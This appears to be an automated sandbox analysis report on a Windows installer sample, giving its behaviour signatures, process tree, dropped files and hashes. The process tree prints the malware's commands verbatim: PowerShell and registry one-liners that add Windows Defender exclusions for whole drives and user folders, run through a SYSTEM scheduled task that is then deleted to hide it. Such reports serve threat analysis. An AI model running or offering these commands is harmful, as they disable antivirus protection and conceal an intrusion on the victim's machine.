Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 09:43

General

  • Target
    install_h8.0.05.exe
  • Size 25.7MB
  • Sample260825-lp2tmagf42
  • SHA256 3734b2174d9de0a637ae7a0b6a9df061b9de72e523117d8418b885c320b373b9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_h8.0.05.exe
    "C:\Users\Admin\AppData\Local\Temp\install_h8.0.05.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5020
  • C:\Users\Public\0WtDg0\avSLgQ.exe
    "C:\Users\Public\0WtDg0\avSLgQ.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5872
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5696
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\0WtDg0\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:1076
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\0WtDg0\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4340
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2988
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4560
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4000
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5832
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:848
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2604
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2444
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4780
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4280
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1420
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2976
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1080
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4952
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3484
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5972
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1544
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2672
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:6112
                      • C:\Users\Public\0WtDg0\avSLgQ.exe
                        "C:\Users\Public\0WtDg0\avSLgQ.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:3200
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5480
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\0WtDg0" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1192
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\0WtDg0" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5608
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5948
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1228
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3896
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3516
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1556
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2292

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\0WtDg0\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 985dc60b2864ff564ae7383671767d0988c3b3f8faeb0acd95e90425fd24f505
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\0WtDg0\adoresd.dat
                              • Size 4.7MB
                              • SHA256 c7da9f61b79c068e58c66a4b0e32956f9749c5de5428b20088d2843d580a5ee7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              avSLgQ.exe

                              • Path C:\Users\Public\0WtDg0\avSLgQ.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\0WtDg0\msadox.tb
                              • Size 8KB
                              • SHA256 c38ed6fd5e8c8f83b2f46626a0007bc503d085b0da22c62332a101c97f5940c4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3200-580-0x00007FFB967C0000-0x00007FFB967C2000-memory.dmp

                              memory/3200-586-0x0000024FB8250000-0x0000024FB8AD7000-memory.dmp

                              memory/3200-577-0x0000024FB8250000-0x0000024FB8AD7000-memory.dmp

                              memory/3200-581-0x0000024FB8250000-0x0000024FB8AD7000-memory.dmp

                              memory/3200-585-0x0000024FB8250000-0x0000024FB8AD7000-memory.dmp

                              memory/3200-574-0x00007FFB73B60000-0x00007FFB7407E000-memory.dmp

                              memory/3200-587-0x0000024FB8250000-0x0000024FB8AD7000-memory.dmp

                              memory/3200-588-0x0000024FB8250000-0x0000024FB8AD7000-memory.dmp

                              memory/3200-589-0x00007FFB967B0000-0x00007FFB967B2000-memory.dmp

                              memory/5020-2-0x00000000009C0000-0x00000000009CC000-memory.dmp

                              memory/5020-1-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/5020-504-0x00007FFB88610000-0x00007FFB88622000-memory.dmp

                              memory/5020-0-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/5020-526-0x0000000000560000-0x000000000056E000-memory.dmp

                              memory/5020-527-0x00007FFB88610000-0x00007FFB88622000-memory.dmp

                              memory/5696-601-0x0000016F6B910000-0x0000016F6B932000-memory.dmp

                              memory/5696-607-0x0000016F6B990000-0x0000016F6BA42000-memory.dmp

                              memory/5696-606-0x0000016F6B970000-0x0000016F6B98E000-memory.dmp

                              memory/5696-610-0x0000016F6BA50000-0x0000016F6BA5A000-memory.dmp

                              memory/5872-541-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-548-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-565-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-567-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-568-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-562-0x000001EDF4260000-0x000001EDF42EA000-memory.dmp

                              memory/5872-560-0x000001EDF4260000-0x000001EDF42EA000-memory.dmp

                              memory/5872-559-0x000001EDF2F30000-0x000001EDF2F7E000-memory.dmp

                              memory/5872-552-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-540-0x00007FFB967C0000-0x00007FFB967C2000-memory.dmp

                              memory/5872-547-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-546-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-545-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-563-0x000001EDF4260000-0x000001EDF42EA000-memory.dmp

                              memory/5872-561-0x000001EDF4260000-0x000001EDF42EA000-memory.dmp

                              memory/5872-538-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-533-0x00007FFB73B60000-0x00007FFB7407E000-memory.dmp

                              memory/5872-609-0x000001EDF39D0000-0x000001EDF4257000-memory.dmp

                              memory/5872-532-0x00007FFB967B0000-0x00007FFB967B2000-memory.dmp